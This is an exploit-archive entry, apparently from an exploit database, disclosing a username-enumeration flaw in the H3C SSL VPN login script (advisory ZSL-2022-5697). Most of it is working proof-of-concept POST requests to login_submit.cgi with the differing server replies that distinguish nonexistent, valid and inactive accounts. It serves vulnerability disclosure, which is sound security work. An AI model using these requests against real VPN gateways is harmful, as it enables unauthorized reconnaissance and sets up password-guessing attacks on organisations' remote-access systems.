a300bd948f
8 changes to exploits/shellcodes TeamSpeak 3.5.6 - Insecure File Permissions Emerson PAC Machine Edition 9.80 Build 8695 - 'TrapiServer' Unquoted Service Path H3C SSL VPN - Username Enumeration Multi-Vendor Online Groceries Management System 1.0 - 'id' Blind SQL Injection Simple Student Quarterly Result/Grade System 1.0 - SQLi Authentication Bypass ServiceNow - Username Enumeration Network Video Recorder NVR304-16EP - Reflected Cross-Site Scripting (XSS) (Unauthenticated) WordPress Plugin Error Log Viewer 1.1.1 - Arbitrary File Clearing (Authenticated)
68 lines
No EOL
1.9 KiB
Text
68 lines
No EOL
1.9 KiB
Text
# Exploit Title: H3C SSL VPN - Username Enumeration
|
|
# Exploit Author: LiquidWorm
|
|
|
|
H3C SSL VPN Username Enumeration
|
|
|
|
|
|
Vendor: Hangzhou H3C Technologies Co. | New H3C Technologies Co., Ltd.
|
|
Product web page: https://www.h3c.com
|
|
Affected version: n/a
|
|
|
|
Summary: H3C SSL VPN is a secure VPN system based on SSL connections. It allows mobile employees
|
|
to access corporate networks remotely in an easy and secure way. The H3C SSL VPN devices are a
|
|
new generation of professional SSL VPN devices for enterprises. They can function as ingress
|
|
gateways as well as proxy gateways of internal server clusters. The SecPath SSL VPN devices are
|
|
for small-to medium-sized enterprises, while the SecBlade SSL VPN devices are for medium-sized
|
|
enterprises.
|
|
|
|
Desc: The weakness is caused due to the login script and how it verifies provided credentials. An
|
|
attacker can use this weakness to enumerate valid users on the affected application via 'txtUsrName'
|
|
POST parameter.
|
|
|
|
Tested on: ssl vpn gateway HttpServer 1.1
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2022-5697
|
|
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5697.php
|
|
|
|
|
|
24.01.2022
|
|
|
|
--
|
|
|
|
|
|
Non-valid:
|
|
----------
|
|
|
|
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi
|
|
|
|
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=root&txtPassword=123456&selDomain=1&authmethod=1&vldCode=
|
|
|
|
|
|
<tr><td align="center">User is not exist</TD></TR>
|
|
|
|
|
|
|
|
Valid:
|
|
------
|
|
|
|
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi
|
|
|
|
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=administrator&txtPassword=123456&selDomain=1&authmethod=1&vldCode=
|
|
|
|
<tr><td align="center">Input password incorrect</TD></TR>
|
|
|
|
|
|
|
|
Valid:
|
|
------
|
|
|
|
POST https://10.0.0.5/svpn/vpnuser/login_submit.cgi
|
|
|
|
txtMacAddr=000000000000&svpnlang=en&selIdentity=1&txtUsrName=guest&txtPassword=123456&selDomain=1&authmethod=1&vldCode=
|
|
|
|
<tr><td align="center">Local user state is inactive</TD></TR> |